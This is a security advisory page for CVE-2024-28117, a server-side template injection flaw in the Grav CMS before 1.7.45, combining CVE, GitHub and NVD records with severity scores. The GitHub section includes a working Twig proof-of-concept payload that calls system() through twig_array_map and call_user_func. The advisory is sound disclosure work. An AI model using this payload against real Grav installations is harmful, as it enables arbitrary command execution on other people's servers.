CVE-2024-28117
JSON

8.8high

Grav vulnerable to Server Side Template Injection (SSTI)

Severity
8.8high CVSS:3.1 by GitHub_M
Exploit likelihood
1.39% (higher than 73% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-qfv4-q44r-g7rv

Description

Grav is an open-source, flat-file content management system. Prior to version 1.7.45, Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. Upgrading to patched version 1.7.45 can mitigate this issue.

Affected

Product or packageVersionsReported by
getgrav grav< 1.7.45, before 1.7.45CVE List, NVD
getgrav/grav (Packagist)before 1.7.45GitHub Advisory Database

All scores

GitHub_M8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
GitHub8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
NVD8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-94

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Grav is an open-source, flat-file content management system. Prior to version 1.7.45, Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. Upgrading to patched version 1.7.45 can mitigate this issue.

GitHub Advisory Database
Summary

Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands.

Details
{{ grav.twig.twig.getFunction('twig_array_map')|var_dump }}

image

When we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions.

{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}

Since there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func.

PoC
{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}
Impact

Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

NVD (es)

Grav es un sistema de gestión de contenidos de archivos planos de código abierto. Antes de la versión 1.7.45, Grav valida funciones accesibles a través de la función Utils::isDangerousFunction, pero no impone restricciones a funciones de twig como twig_array_map, lo que permite a los atacantes eludir la validación y ejecutar comandos arbitrarios. El procesamiento Twig de páginas estáticas puede ser habilitado en la portada por cualquier usuario administrativo autorizado a crear o editar páginas. Como el procesador Twig se ejecuta sin entorno de pruebas, este comportamiento se puede utilizar para obtener la ejecución de código arbitrario y elevar los privilegios en la instancia. La actualización a la versión parcheada 1.7.45 puede mitigar este problema.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-28117 changed 2024-08-13CVE Terms of Use
GitHub Advisory DatabaseGHSA-qfv4-q44r-g7rv changed 2026-09-10CC-BY-4.0
NVDCVE-2024-28117 changed 2026-06-17Public domain